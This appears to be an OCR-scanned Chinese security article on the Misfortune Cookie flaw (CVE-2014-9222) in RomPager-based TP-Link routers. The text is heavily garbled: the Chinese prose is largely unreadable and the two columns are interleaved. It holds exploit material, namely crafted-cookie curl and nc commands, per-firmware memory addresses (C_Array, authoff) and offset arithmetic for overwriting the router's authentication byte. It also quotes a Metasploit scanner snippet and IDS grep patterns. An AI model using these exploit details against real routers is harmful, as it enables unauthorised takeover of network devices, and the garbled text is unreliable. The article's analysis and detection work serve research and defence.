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Bid R EF U191 H Cookie B B GE LT B FINMENH . XANIFIR
WAEM CVE-2014-9222. HHERFEEZZMMIREFLE—D
]SRN 5E AL K it

CheckPoint EMABEZIIMIRELR, RFELBN KR
T EAR . FSRat.

#E#R RomPager 4.34 Z BifYhRA, LHRZ 4.07 jREFEIZIFRE.

E 3k AllegroSoft 7 2005 Fat 2 & FINZRBFE, R R
#7T RomPager F+ R ARA. FHAME, BE2015 %, BEXME
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PrivateHttpCookieHandler() f F 4 I8 5k B & P i £ Cookie,
XEFENANFIE.

T4 7 Cookie i F #H 41 "C<num>=<str>" (Y418, LT
"C', RIS =" ERIRGEMEKRE =", =" ER 0"
ATIFH"="WREE TEIRE NULL, BEPEEEBXFIER,
REZL TR EME L A RS, HBHERARER.
xg:

P,
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curl -H 'Cookie: C' 192.168.1.1

curl -b '"AnyKey=AnyValue;C' 192.168.1.1

XA BSBEHEHTE Bk
"C<num>=<str>", FHEEH@HFIE. <num>SLFRE = 4EAEN

—H TR

AP f Cookie # 3¢ 2 40

char C_Array[10][40];

<num> BB BEEER [0,9]. <str> 2 EHIE] <num> X2 AY
Wi

strncpy( C_Array[num], str, 40 );

BT ERMEMAT strnepy(), FrIX <str> K GBRKFZEMRE N
Xt ERFRXEX <num> #iTEEEE, HTMUZERE,
¥ [ 32-bits E# @ %, <num>E ZF o] U2 M #. C_Array fyih
EXNFHER S, RANBRRETNS, 2 MEZEE. BiIEH
<num> o] PUEHE IR H) strnepy() BB ARIBIE, 1 <str> R TTHH,
X " ERAFRLS "R,

BREE—NERTEATIVREH. ZAESFZIMEVE, F
AR REAEEREE EREFIMENG, Xzt2 Misfortune
Cookie i (CVE-2014-9222) #y 7 5.

2 "Misfortune Cookie (CVE-2014-9222) Demystified".

> sys pswauthen 0

Do not need password authentication for configuration!

MLTFEXHNEFHEE. HAMZ N auth_byte, 7 IDA

TR X3 IR auth_byte,

[S

. R TP-Link SHEXEIE

THEHREERAMRIZERERZHTRSE. BEAN—HSREEE:

TD-8820
3.0.0 Build 091223 Rel.23304
C_Array = 0x803C3018
authoff = 0x80397E69
TD-W8901G
1.0.2 Build 080522 Rel.37708 ( X Piotr Bania ffrfiRZA )
C_Array = 0x803E9A40
authoff = 0x803AB30D
3.0.1 Build 100603 Rel.28484
C_Array = 0x8041B3D4
authoff = 0x803DC701
3.0.1 Build 100901 Rel.23594
C_Array = 0x80420554
authoff = 0x803E1829
6.0.0 Build 110119 Rel.25581
C_Array = 0x804FA3EO
authoff = 0x804BB941

6.0.0 Build 110915 Rel.06942
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C_Array = 0x80517454 echo -ne "GET / HTTP/1.0\r\nCookie:

<evi >=<evi ie> " - -n < >
authoff = 0x804D7CB9 C<evilnum>=<evilcookie>\r\n\r\n" | nc -w 5 -n <target> 80

TD-W8901N
FIEZ AT RS AR EIR, SSNEIR. N7 8 %N Script

Kids Fir, S&B E R evilnum, evilcookie, T#Ri%%EEIEH
EHEEETHE.

1.0.0 Build 121121 Rel.08870 ( ixs2 Cawan FrfkR 7 )
C_Array = 0x804163D4

authoff = 0x8034FF94
TD-W8951ND . RRF AEIGAE

FORBHETRFENMERITRE, REMITEREXLE:

1.0.0 Build 100723 Rel.23035

C_Array = 0x803FD3F0

authoff = 0x803D2D61 C_Array

authoff
TD-W8961ND
evilnum
1.0.0 Build 100722 Rel.05210

evilcookie

C_Array = 0x803FD3F0

authoff = 0x803D2D61 T HERX T LR ARTFER. [ victim Z3X A THTTP {55k :

C_Array + evilnum * 0x28 = authoff HEAD /rom-0 HTTP/1.0\\n

XEFAHEEEEZ " % 0x100000000" MALEE. Cookie: C<guessnum>=\r\n
S FRAE T -

ERDHRIXFMER \rin

(‘authoff - C_Array ) % 0x28 !=0

kA evilcookie AMHITIE L IETE, XIRBE LR IR #TP-Link S, ESESEENRENIEN guessnum, FRX
RAELX K, WMEREIR T F AN FRz—:

e
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allegro_rompager_misfortune_cookie.rb
%a, %d %b %Y %H:%M:%S GMT rER:

application/octet-stream

$ curl -i http://192.168.1.1/Allegro
W ZEHNR TSRS HTTP mH, M ROTiEiR5)l. HTTP/1.1 200 OK
ZETIIEEXR: Content-Type: text/html

Date: Tue, 17 Mar 2015 10:35:27 GMT

C_Array + guessnum * 0x28 = guessoff Pragma: no-cache
C_Array + evilnum * 0x28 = authoff - off Expires: Thu, 26 Oct 1995 00:00:00 GMT
off = (‘authoff - guessoff ) mod 0x28 Transfer-Encoding: chunked
evilnum = guessnum + ( authoff - guessoff ) / 0x28 Server: RomPager/4.07 UPnP/1.0
EXT:
M EREEELRERTES], evinum 5 guessnum. "authoff- <html>
guessoff' 183, ZEE A1 guessnum BETIRT, T IE evilnum ez
#EH AE N "authoff-guessoff”, f5& &2 auth_byte 5 "%a, %d %b <title>Allegro Copyright</title></head><body>
%Y %H:%M:%S GMT" 5% "application/octet-stream" 2 {g] i 48 Xt RomPager Advanced Version 4.07<br>(C) 1995
", XMEMRERELS, BikAzE, HEEENHR. - 2002 Allegro Software Development Corporation
it LIS FENIEN "authoff-guessoff”, L LL KR, </body></html>
XEZEBAFRISRE, FABNNRMETAREEKAT, H
RIS IR 3R S HTTP Header sr4frER "Server: ..", SRS M4
7. Metasploit 13+ B RomPager }RAS, REHHHREE/NT 4.34, BURIFEE.
Metasploit ™33 1% I B B A 4 N RIBMT
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fp = http_fingerprint( response:res )
if /RomPager\/(?<version>[\d\.]+)$/ =~ fp

if Gem::Version.new(version) < Gem::Version.new('4.34")

report_vuln(
host: ip,
port: rport,
name: name,
refs: references

)
return Exploit::CheckCode::Appears

X F 192.168.1.1, fp % TF "RomPager/4.07 UPnP/1.0", & {F
FiT A IE W %% 3% 30 "RomPager\/(?<version>[\d\]+)$" 7 % IL & fp,
SEURR. HEFEE Jon Hart TgEsR b A MR banner {5889
2.

BIRFR A IE M FRok T RIZAE U -

RomPager\/(?<version>[\d\.]+).*$

=

RomPager\/(?<version>[\d\.]+)

e

75

X 2 <version> & < 4§ "[\d\]+" Y IEBC R A AT U IR 45 & A

version A&,

+. NIDS &i¥

X+F Misfortune Cookie jfFiE, 2z HTTP L&y Cookie:

echo "Cookie: C0123456789=Anything" | grep -P

"ACookie.*[;,: \][+C\d{2,}="

"C0001=Anything" 2R EZLEN, EFREFHE LRENX
ERMEwEH.

echo "Cookie: AnyKey=AnyValue;C" | grep -P "*Cookie.*[;,:
\t]+C[A=]*$"

echo "Cookie: C" | grep -P "ACookie.*[;,: \t]+C[*=]*$"

XRHE 'C"EE "= W, 4 Dos.
s
=}

H—TENFRER :

echo "Cookie: C0123456789=Anything" | grep -P

"ACookie.*[;,: \[+C(\d{2,}=|[*=]*$)"




SECURITY

W BLEHEAR

N Hith

BRARBRENPEIE, TEREFEHERTE BAERERE ZRAK F
MEEREEMER. EOTRERT LH SERIAL(UART/RS232), JTAG(EJTAG) i3k,
WREHTKS. BEMMTUEEE.

CheckPoint (Y AF3k—E B EMRAR ZyNOS gD, ttan C_Array B—#THRSE
B2 [0,9], ¥%E&kC% RasCode RAMEXIIX =, MA1RET ZyNOS mRiFX TA :

ZORDON - ZynOs Remote Debugger (Over the Network)
- Breakpoints

- View/Edit Memory and Registers

BT ARy PDF thE12, AEEBM E1% ZORDON, EHEMEMES, HABEMIE

XHEIL.

h. SEXH

Hacking and patching TP-LINK TD-W8901G router - Piotr Bania <bania.piotr@
gmail.com> [2014-01-31]

http://piotrbania.com/all/articles/tplink_patch/

Misfortune Cookie Vulnerability - Lior Oppenheim [2014-12-18]

http://mis.fortunecook.ie/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9222

Misfortune Cookie Suspected
Vulnerable List - [2014-12-22]

http://mis.fortunecook.ie/misfortune-
cookie-suspected-vulnerable.pdf

— & CVE-2014-9222 48 %5 - Shahar
Tal, Lior Oppenheim [2014-12-29]

http://mis.fortunecook.ie/too-
many-cooks-exploiting-tr069_tal-
oppenheim_31c3.pdf

Misfortune Cookie (CVE-2014-9222)
Demystified - Cawan <cawan@ieee.org>
or <chuiyewleong@hotmail.com> [2015-
02-16]

http://cawanblog.blogspot.
com/2015/02/misfortune-cookie-
cve-2014-9222.html

Allegro Software RomPager
'Misfortune Cookie' (CVE-2014-9222)
Scanner

https://github.com/rapid7/metasploit-
framework/blob/master/modules/
auxiliary/scanner/http/allegro_rompager_

misfortune_cookie.rb
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